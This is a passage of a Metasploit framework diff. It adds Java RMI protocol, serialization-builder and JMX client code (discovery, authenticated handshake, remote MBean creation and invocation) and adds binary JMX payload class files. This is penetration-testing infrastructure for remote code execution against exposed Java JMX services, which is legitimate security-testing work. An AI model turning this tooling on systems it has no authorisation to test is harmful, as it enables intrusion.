diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin deleted file mode 100644 index 4775e14a86..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/installstager.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin deleted file mode 100644 index e1f50dc695..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osarch.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin deleted file mode 100644 index 8790163d3b..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/osname.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin deleted file mode 100644 index da3d498236..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerdirectory.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin deleted file mode 100644 index 1f2c9feb5c..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/removestagerfile.bin and /dev/null differ diff --git a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin b/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin deleted file mode 100644 index f8dc1efd54..0000000000 Binary files a/data/exploits/jboss_jmxinvoker/DeploymentFileRepository/version.bin and /dev/null differ diff --git a/data/java/metasploit/JMXPayload.class b/data/java/metasploit/JMXPayload.class new file mode 100644 index 0000000000..4085175436 Binary files /dev/null and b/data/java/metasploit/JMXPayload.class differ diff --git a/data/java/metasploit/JMXPayloadMBean.class b/data/java/metasploit/JMXPayloadMBean.class new file mode 100644 index 0000000000..1aa20d9df8 Binary files /dev/null and b/data/java/metasploit/JMXPayloadMBean.class differ diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 7b44b365b4..b93efa2b23 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -75,6 +75,12 @@ require 'msf/http/jboss' # Kerberos Support require 'msf/kerberos/client' +# Java RMI Support +require 'msf/java/rmi/client' + +# Java JMX Support +require 'msf/java/jmx' + # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/java/jmx.rb b/lib/msf/java/jmx.rb new file mode 100644 index 0000000000..0c796daf2d --- /dev/null +++ b/lib/msf/java/jmx.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Jmx + require 'msf/java/jmx/util' + require 'msf/java/jmx/discovery' + require 'msf/java/jmx/handshake' + require 'msf/java/jmx/mbean' + + include Msf::Java::Jmx::Util + include Msf::Java::Jmx::Discovery + include Msf::Java::Jmx::Handshake + include Msf::Java::Jmx::Mbean + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']), + Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']) + ], HTTP::Wordpress + ) + end + + def jmx_role + datastore['JMX_ROLE'] + end + + def jmx_password + datastore['JMX_PASSWORD'] + end + + end + end +end diff --git a/lib/msf/java/jmx/discovery.rb b/lib/msf/java/jmx/discovery.rb new file mode 100644 index 0000000000..d956a9fdaf --- /dev/null +++ b/lib/msf/java/jmx/discovery.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle JMX end points discovery + module Discovery + # Builds a Rex::Java::Serialization::Model::Stream to discover + # an JMX RMI endpoint + # + # @return [Rex::Java::Serialization::Model::Stream] + def discovery_stream + obj_id = "\x00" * 22 # Padding since there isn't an UnicastRef ObjId to use still + + block_data = Rex::Java::Serialization::Model::BlockData.new( + nil, + "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') + + stream + end + end + end + end +end diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb new file mode 100644 index 0000000000..36453849b2 --- /dev/null +++ b/lib/msf/java/jmx/handshake.rb @@ -0,0 +1,56 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle a JMX handshake + module Handshake + + # Builds a Rex::Java::Serialization::Model::Stream to make + # a JMX handshake with an endpoint + # + # @param id [String] The endpoint UnicastRef ObjId + # @return [Rex::Java::Serialization::Model::Stream] + def handshake_stream(obj_id) + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + + if jmx_role + username = jmx_role + password = jmx_password || '' + + stream.contents << auth_array_stream(username, password) + else + stream.contents << Rex::Java::Serialization::Model::NullReference.new + end + + stream + end + + # Builds a Rex::Java::Serialization::Model::NewArray with credentials + # to make an authenticated handshake + # + # @param username [String] The username (role) to authenticate with + # @param password [String] The password to authenticate with + # @return [Rex::Java::Serialization::Model::NewArray] + def auth_array_stream(username, password) + builder = Rex::Java::Serialization::Builder.new + + auth_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + ) + + auth_array + end + end + end + end +end diff --git a/lib/msf/java/jmx/mbean.rb b/lib/msf/java/jmx/mbean.rb new file mode 100644 index 0000000000..0956316b32 --- /dev/null +++ b/lib/msf/java/jmx/mbean.rb @@ -0,0 +1,13 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + module Mbean + require 'msf/java/jmx/mbean/server_connection' + + include Msf::Java::Jmx::Mbean::ServerConnection + end + end + end +end diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb new file mode 100644 index 0000000000..33622546f9 --- /dev/null +++ b/lib/msf/java/jmx/mbean/server_connection.rb @@ -0,0 +1,155 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + module Mbean + # This module provides methods which help to handle with MBean related calls. + # Specially, simulating calls with the Java javax.management.MBeanServerConnection + # class + module ServerConnection + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the createMBean method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def create_mbean_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the + # Java getObjectInstance method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :name the name of the MBean + # @return [Rex::Java::Serialization::Model::Stream] + def get_object_instance_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + name = opts[:name] || '' + + builder = Rex::Java::Serialization::Builder.new + + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream to simulate a call + # to the Java invoke method. + # + # @param opts [Hash{Symbol => String}] + # @option opts [String] :obj_id the jmx endpoint ObjId + # @option opts [String] :object the object whose method we want to call + # @option opts [String] :method the method name to invoke + # @option opts [String] :args the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_stream(opts = {}) + obj_id = opts[:obj_id] || "\x00" * 22 + object_name = opts[:object] || '' + method_name = opts[:method] || '' + arguments = opts[:args] || {} + builder = Rex::Java::Serialization::Builder.new + + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + data_binary = builder.new_array( + name: '[B', + serial: 0xacf317f8060854e0, # serialVersionUID + values_type: 'byte', + values: invoke_arguments_stream(arguments).encode.unpack('C*') + ) + + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) + + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << block_data + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) + stream.contents << marshall_object + stream.contents << new_array + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + # Builds a Rex::Java::Serialization::Model::Stream with the arguments to + # simulate a call to the Java invoke method method. + # + # @param args [Hash] the arguments of the method to invoke + # @return [Rex::Java::Serialization::Model::Stream] + def invoke_arguments_stream(args = {}) + builder = Rex::Java::Serialization::Builder.new + + new_array = builder.new_array( + name: '[Ljava.lang.Object;', + serial: 0x90ce589f1073296c, # serialVersionUID + annotations: [Rex::Java::Serialization::Model::EndBlockData.new], + values_type: 'java.lang.Object;', + values: args.values.collect { |arg| Rex::Java::Serialization::Model::Utf.new(nil, arg) } + ) + + stream = Rex::Java::Serialization::Model::Stream.new + stream.contents << new_array + + stream + end + end + end + end + end +end diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb new file mode 100644 index 0000000000..6bac21c0a1 --- /dev/null +++ b/lib/msf/java/jmx/util.rb @@ -0,0 +1,89 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Jmx + # This module provides methods which help to handle data + # used by Java JMX + module Util + + # Extracts a Rex::Java::Serialization::Model::NewObject from + # a Rex::Java::Serialization::Model::Stream + # + # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from + # @param id [Fixnum] the content position storing the object + # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise + def extract_object(stream, id) + new_object = nil + + if stream.contents[id] + new_object = stream.contents[id] + else + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + return nil + end + + new_object.class_desc.description.class_name.contents + end + + # Extracts an string from an IO + # + # @param io [IO] the io to extract the string from + # @return [String, nil] the extracted string if success, nil otherwise + def extract_string(io) + raw_length = io.read(2) + unless raw_length && raw_length.length == 2 + return nil + end + length = raw_length.unpack('n')[0] + + string = io.read(length) + unless string && string.length == length + return nil + end + + string + end + + # Extracts an int from an IO + # + # @param io [IO] the io to extract the int from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_int(io) + int_raw = io.read(4) + unless int_raw && int_raw.length == 4 + return nil + end + int = int_raw.unpack('N')[0] + + int + end + + # Extracts an UnicastRef (endpoint) information from an IO + # + # @param io [IO] the io to extract the int from + # @return [Hash, nil] the extracted int if success, nil otherwise + def extract_unicast_ref(io) + ref = extract_string(io) + unless ref && ref == 'UnicastRef' + return nil + end + + address = extract_string(io) + return nil unless address + + port = extract_int(io) + return nil unless port + + id = io.read + + { address: address, port: port, id: id } + end + + end + end + end +end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb new file mode 100644 index 0000000000..7b522a1ff1 --- /dev/null +++ b/lib/msf/java/rmi/client.rb @@ -0,0 +1,138 @@ +# -*- coding: binary -*- +require 'rex/proto/rmi' +require 'rex/java/serialization' +require 'stringio' + +module Msf + module Java + module Rmi + module Client + + require 'msf/java/rmi/client/streams' + + include Msf::Java::Rmi::Client::Streams + include Exploit::Remote::Tcp + + # Returns the target host + # + # @return [String] + def rhost + datastore['RHOST'] + end + + # Returns the target port + # + # @return [Fixnum] + def rport + datastore['RPORT'] + end + + # Returns the RMI server peer + # + # @return [String] + def peer + "#{rhost}:#{rport}" + end + + # Sends a RMI header stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_header + def send_header(opts = {}) + nsock = opts[:sock] || sock + stream = build_header(opts) + nsock.put(stream.encode + "\x00\x00\x00\x00\x00\x00") + end + + # Sends a RMI CALL stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_call + def send_call(opts = {}) + nsock = opts[:sock] || sock + stream = build_call(opts) + nsock.put(stream.encode) + end + + # Sends a RMI DGCACK stream + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Fixnum] the number of bytes sent + # @see Msf::Rmi::Client::Streams#build_dgc_ack + def send_dgc_ack(opts = {}) + nsock = opts[:sock] || sock + stream = build_dgc_ack(opts) + nsock.put(stream.encode) + end + + # Reads the Protocol Ack + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @see Rex::Proto::Rmi::Model::ProtocolAck.decode + def recv_protocol_ack(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + ack = Rex::Proto::Rmi::Model::ProtocolAck.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + ack + end + + # Reads a ReturnData message and returns the java serialized stream + # with the return data value. + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [Rex::Java::Serialization::Stream] + # @see Rex::Proto::Rmi::Model::ReturnData.decode + def recv_return(opts = {}) + nsock = opts[:sock] || sock + data = safe_get_once(nsock) + begin + return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) + rescue ::RuntimeError + return nil + end + + return_data.return_value + end + + # Helper method to read fragmented data from a ```Rex::Socket::Tcp``` + # + # @param opts [Hash] + # @option opts [Rex::Socket::Tcp] :sock + # @return [String] + def safe_get_once(nsock = sock) + data = '' + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + + until res.nil? || res.length < 1448 + data << res + begin + res = nsock.get_once + rescue ::EOFError + res = nil + end + end + + data << res if res + data + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/streams.rb b/lib/msf/java/rmi/client/streams.rb new file mode 100644 index 0000000000..215e4b0a8e --- /dev/null +++ b/lib/msf/java/rmi/client/streams.rb @@ -0,0 +1,70 @@ +# -*- coding: binary -*- + +require 'rex/java/serialization' + +module Msf + module Java + module Rmi + module Client + module Streams + + # Builds a RMI header stream + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :signature + # @option opts [Fixnum] :version + # @option opts [Fixnum] :protocol + # @return [Rex::Proto::Rmi::Model::OutputHeader] + def build_header(opts = {}) + signature = opts[:signature] || Rex::Proto::Rmi::Model::SIGNATURE + version = opts[:version] || 2 + protocol = opts[:protocol] || Rex::Proto::Rmi::Model::STREAM_PROTOCOL + + header = Rex::Proto::Rmi::Model::OutputHeader.new( + signature: signature, + version: version, + protocol: protocol) + + header + end + + # Builds a RMI call stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :message_id + # @option opts [Rex::Java::Serialization::Model::Stream] :call_data + # @return [Rex::Proto::Rmi::Model::Call] + def build_call(opts = {}) + message_id = opts[:message_id] || Rex::Proto::Rmi::Model::CALL_MESSAGE + call_data = opts[:call_data] || Rex::Java::Serialization::Model::Stream.new + + call = Rex::Proto::Rmi::Model::Call.new( + message_id: message_id, + call_data: call_data + ) + + call + end + + # Builds a RMI dgc ack stream + # + # @param opts [Hash{Symbol => }] + # @option opts [Fixnum] :stream_id + # @option opts [String] :unique_identifier + # @return [Rex::Proto::Rmi::Model::DgcAck] + def build_dgc_ack(opts = {}) + stream_id = opts[:stream_id] || Rex::Proto::Rmi::Model::DGC_ACK_MESSAGE + unique_identifier = opts[:unique_identifier] || "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + dgc_ack = Rex::Proto::Rmi::Model::DgcAck.new( + stream_id: stream_id, + unique_identifier: unique_identifier + ) + + dgc_ack + end + end + end + end + end +end diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb index 983e8472e8..0761c15fdb 100644 --- a/lib/rex/java/serialization.rb +++ b/lib/rex/java/serialization.rb @@ -51,4 +51,5 @@ module Rex end end -require 'rex/java/serialization/model' \ No newline at end of file +require 'rex/java/serialization/model' +require 'rex/java/serialization/builder' \ No newline at end of file diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb new file mode 100644 index 0000000000..c9e69c26a5 --- /dev/null +++ b/lib/rex/java/serialization/builder.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + # This class provides a builder to help in the construction of + # Java serialized contents. + class Builder + + # Creates a Rex::Java::Serialization::Model::NewArray + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [String] :values_type + # @option opts [Array] :values + # @return [Rex::Java::Serialization::Model::NewArray] + # @see #new_class + def new_array(opts = {}) + class_desc = opts[:description] || new_class(opts) + type = opts[:values_type] || '' + values = opts[:values] || [] + + array = Rex::Java::Serialization::Model::NewArray.new + array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + array.array_description.description = class_desc + array.type = type + array.values = values + + array + end + + # Creates a Rex::Java::Serialization::Model::NewObject + # + # @param opts [Hash{Symbol => }] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [Array] :data + # @return [Rex::Java::Serialization::Model::NewObject] + # @see #new_class + def new_object(opts = {}) + class_desc = opts[:description] || new_class(opts) + data = opts[:data] || [] + + object = Rex::Java::Serialization::Model::NewObject.new + object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + object.class_desc.description = class_desc + object.class_data = data + + object + end + + # Creates a Rex::Java::Serialization::Model::NewClassDesc + # + # @param opts [Hash{Symbol => }] + # @option opts [String] :name + # @option opts [Fixnum] :serial + # @option opts [Fixnum] :flags + # @option opts [Array] :fields + # @option opts [Array] :annotations + # @option opts [Rex::Java::Serialization::Model::Element] :super_class + # @return [Rex::Java::Serialization::Model::NewClassDesc] + def new_class(opts = {}) + class_name = opts[:name] || '' + serial_version = opts[:serial] || 0 + flags = opts[:flags] || 2 + fields = opts[:fields] || [] + annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new] + super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new + + class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name) + class_desc.serial_version = serial_version + class_desc.flags = flags + class_desc.fields = [] + + fields.each do |f| + field = Rex::Java::Serialization::Model::Field.new + field.type = f[0] + field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1]) + field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2] + class_desc.fields << field + end + + class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + class_desc.class_annotation.contents = annotations + class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + class_desc.super_class.description = super_class + + class_desc + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb index d6e245c73c..c2ab0630a8 100644 --- a/lib/rex/java/serialization/model/new_array.rb +++ b/lib/rex/java/serialization/model/new_array.rb @@ -109,6 +109,11 @@ module Rex desc = array_description.description + if desc.class == Reference + ref = desc.handle - BASE_WIRE_HANDLE + desc = stream.references[ref] + end + unless desc.class_name.contents[0] == '[' # Array raise ::RuntimeError, 'Unsupported NewArray description' end diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index 1212c2faec..c665ebb593 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -66,9 +66,9 @@ module Rex # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless class_name.kind_of?(Rex::Java::Serialization::Model::Utf) && - class_annotation.kind_of?(Rex::Java::Serialization::Model::Annotation) && - super_class.kind_of?(Rex::Java::Serialization::Model::ClassDesc) + unless class_name.class == Rex::Java::Serialization::Model::Utf || + class_annotation.class == Rex::Java::Serialization::Model::Annotation || + super_class.class == Rex::Java::Serialization::Model::ClassDesc raise ::RuntimeError, 'Filed to serialize NewClassDesc' end encoded = '' diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index b327800089..cbd6f79761 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -95,8 +95,13 @@ module Rex def decode_class_data(io, my_class_desc) values = [] - unless my_class_desc.super_class.description.kind_of?(NullReference) - values += decode_class_data(io, my_class_desc.super_class.description) + unless my_class_desc.super_class.description.class == NullReference + if my_class_desc.super_class.description.class == Reference + ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE + values += decode_class_data(io, stream.references[ref]) + else + values += decode_class_data(io, my_class_desc.super_class.description) + end end values += decode_class_fields(io, my_class_desc) diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index dbfd86c47e..8696fcd5ea 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -6,6 +6,7 @@ require 'rex/proto/dcerpc' require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' +require 'rex/proto/rmi' module Rex module Proto diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb new file mode 100644 index 0000000000..74505c57f2 --- /dev/null +++ b/lib/rex/proto/rmi.rb @@ -0,0 +1,7 @@ +# -*- coding: binary -*- + +# JAVA RMI Wire protocol implementation +# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html + +require 'rex/proto/rmi/model' + diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb new file mode 100644 index 0000000000..3166506d87 --- /dev/null +++ b/lib/rex/proto/rmi/model.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + SIGNATURE = 'JRMI' + STREAM_PROTOCOL = 0x4b + SINGLE_OP_PROTOCOL = 0x4c + MULTIPLEX_PROTOCOL = 0x4d + CALL_MESSAGE = 0x50 + PING_MESSAGE = 0x52 + DGC_ACK_MESSAGE = 0x54 + PROTOCOL_ACK = 0x4e + PROTOCOL_NOT_SUPPORTED = 0x4f + RETURN_DATA = 0x51 + PING_ACK = 0x53 + end + end + end +end + +require 'rex/proto/rmi/model/element' +require 'rex/proto/rmi/model/output_header' +require 'rex/proto/rmi/model/protocol_ack' +require 'rex/proto/rmi/model/continuation' +require 'rex/proto/rmi/model/call' +require 'rex/proto/rmi/model/return_data' +require 'rex/proto/rmi/model/dgc_ack' +require 'rex/proto/rmi/model/ping' +require 'rex/proto/rmi/model/ping_ack' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb new file mode 100644 index 0000000000..120ee8a8fe --- /dev/null +++ b/lib/rex/proto/rmi/model/call.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI call message + class Call < Element + + # @!attribute message_id + # @return [Fixnum] the message id + attr_accessor :message_id + # @!attribute call_data + # @return [Rex::Java::Serialization::Model::Stream] the serialized call data + attr_accessor :call_data + + private + + # Reads the message id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the message id + def decode_message_id(io) + message_id = read_byte(io) + unless message_id == CALL_MESSAGE + raise ::RuntimeError, 'Failed to decode Call message id' + end + + message_id + end + + # Reads and deserializes the call data from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_call_data(io) + call_data = Rex::Java::Serialization::Model::Stream.decode(io) + + call_data + end + + # Encodes the message_id field + # + # @return [String] + def encode_message_id + [message_id].pack('C') + end + + # Encodes the address field + # + # @return [String] + def encode_call_data + call_data.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/continuation.rb b/lib/rex/proto/rmi/model/continuation.rb new file mode 100644 index 0000000000..e7e801c4ad --- /dev/null +++ b/lib/rex/proto/rmi/model/continuation.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI continuation stream + class Continuation < Element + + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute address + # @return [String] the end point address + attr_accessor :address + # @!attribute port + # @return [Fixnum] the end point port + attr_accessor :port + + private + + # Reads the end point identifier address length from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_length(io) + length = read_short(io) + + length + end + + # Reads the end point address from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_address(io) + version = read_string(io, length) + + version + end + + # Reads the end point port from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_port(io) + port = read_int(io) + + port + end + + # Encodes the length field + # + # @return [String] + def encode_length + [length].pack('n') + end + + # Encodes the address field + # + # @return [String] + def encode_address + address + end + + # Encodes the port field + # + # @return [String] + def encode_port + [port].pack('N') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/dgc_ack.rb b/lib/rex/proto/rmi/model/dgc_ack.rb new file mode 100644 index 0000000000..ab1eee9889 --- /dev/null +++ b/lib/rex/proto/rmi/model/dgc_ack.rb @@ -0,0 +1,62 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI DbgACK stream. It is an acknowledgement + # directed to a server's distributed garbage collector that indicates that remote objects + # in a return value from a server have been received by the client. + class DgcAck < Element + + # @!attribute stream_id + # @return [Fixnum] the input stream id + attr_accessor :stream_id + # @!attribute unique_identifier + # @return [String] the unique identifier + attr_accessor :unique_identifier + + private + + # Reads the stream id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode stream id + def decode_stream_id(io) + stream_id = read_byte(io) + unless stream_id == DGC_ACK_MESSAGE + raise ::RuntimeError, 'Failed to decode DgcAck stream id' + end + + stream_id + end + + # Reads the unique identifier from the IO + # + # @param io [IO] the IO to read from + # @return [String] + def decode_unique_identifier(io) + unique_identifier = read_string(io, 14) + + unique_identifier + end + + # Encodes the stream_id field + # + # @return [String] + def encode_stream_id + [stream_id].pack('C') + end + + # Encodes the unique_identifier field + # + # @return [String] + def encode_unique_identifier + unique_identifier + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb new file mode 100644 index 0000000000..60a6bbf481 --- /dev/null +++ b/lib/rex/proto/rmi/model/element.rb @@ -0,0 +1,143 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + class Element + + include Rex::Proto::Rmi::Model + + def self.attr_accessor(*vars) + @attributes ||= [] + @attributes.concat vars + super(*vars) + end + + # Retrieves the element class fields + # + # @return [Array] + def self.attributes + @attributes + end + + # Creates a Rex::Proto::Rmi::Model::Element with data from the IO. + # + # @param io [IO] the IO to read data from + # @return [Rex::Proto::Rmi::Model::Element] + def self.decode(io) + elem = self.new + elem.decode(io) + + elem + end + + def initialize(options = {}) + self.class.attributes.each do |attr| + if options.has_key?(attr) + m = (attr.to_s + '=').to_sym + self.send(m, options[attr]) + end + end + end + + # Retrieves the element instance fields + # + # @return [Array] + def attributes + self.class.attributes + end + + # Decodes the Rex::Proto::Rmi::Model::Element from the input. + # + # @raise [NoMethodError] + # @return [Rex::Proto::Rmi::Model::Element] + def decode(io) + self.class.attributes.each do |attr| + dec_method = ("decode_#{attr}").to_sym + decoded = self.send(dec_method, io) + assign_method = (attr.to_s + '=').to_sym + self.send(assign_method, decoded) + end + + self + end + + # 